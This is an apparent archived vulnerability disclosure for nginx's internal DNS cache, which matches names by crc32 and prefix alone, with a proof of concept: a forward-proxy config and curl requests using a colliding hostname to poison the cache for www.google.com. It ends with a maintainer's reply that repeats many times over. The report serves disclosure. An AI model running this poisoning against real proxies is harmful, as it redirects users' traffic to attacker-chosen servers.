nginx internal DNS cache poisoning

nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name.  It does not check that the names are equal in length.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

For example, using this nginx.conf:

    events {
      worker_connections  1024;
    }

    http {
      resolver 4.2.2.4;
      server {
        listen 8080;
        location / {
          proxy_pass http://$http_host$request_uri;
        }
      }
    }

You can then run curl to see the cache poisoning in effect:

    $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
http://127.0.0.1:8080/
    <html>
    <body>
    Ho hum, nothing to see here, move along please.
    </body>
    </html>

    $ curl -H Host: www.google.com http://127.0.0.1:8080/
    <html>
    <body>
    Oops, you shouldnt be asking me for http://www.google.com/!
    </body>
    </html>

(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.)

This works because crc32("www.google.com.") ==
crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
and then the second request used this IP address instead of querying
for www.google.coms real IP address because of the matching CRCs and
the common prefix.

[1] http://marc.info/?l=nginx&m=125257590425747&w=2


Replies to this exploit:

From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
> 


From: Maxim Dounin mdounin@mdounin.ru
Sent: Thu 17. Sep 2009 17:47
Hello!

On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote:

> nginx maintains an internal DNS cache for resolved domain names.
> However, when searching the cache, nginx only checks that the crc32 of
> the names match and that the shorter name is a prefix of the longer
> name.  It does not check that the names are equal in length.

Looks like a bug, thanks.

> One way to exploit this is if nginx is configured as a forward proxy.
> This is an atypical use case, but it has been discussed on the nginx
> mailing list before[1].
> 
> For example, using this nginx.conf:
> 
>     events {
>       worker_connections  1024;
>     }
> 
>     http {
>       resolver 4.2.2.4;
>       server {
>         listen 8080;
>         location / {
>           proxy_pass http://$http_host$request_uri;
>         }
>       }
>     }

Note that this configuration isnt supported (and message you 
refer to explicitly marks it as such).  I believe using nginx as 
forward proxy (or even reverse proxy to untrusted backends) may 
have other security implications as well.  Dont do this, it 
hurts.

Maxim Dounin


> 
> You can then run curl to see the cache poisoning in effect:
> 
>     $ curl -H Host: www.google.com.9nyz309.crc32.dempsky.org
> http://127.0.0.1:8080/
>     <html>
>     <body>
>     Ho hum, nothing to see here, move along please.
>     </body>
>     </html>
> 
>     $ curl -H Host: www.google.com http://127.0.0.1:8080/
>     <html>
>     <body>
>     Oops, you shouldnt be asking me for http://www.google.com/!
>     </body>
>     </html>
> 
> (Restart nginx and run only the second command to see its expected
> behavior; i.e., actually fetching http://www.google.com/.)
> 
> This works because crc32("www.google.com.") ==
> crc32("www.google.com.9nyz309.crc32.dempsky.org.").  The first request
> cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
> and then the second request used this IP address instead of querying
> for www.google.coms real IP address because of the matching CRCs and
> the common prefix.
> 
> [1] http://marc.info/?l=nginx&m=125257590425747&w=2
>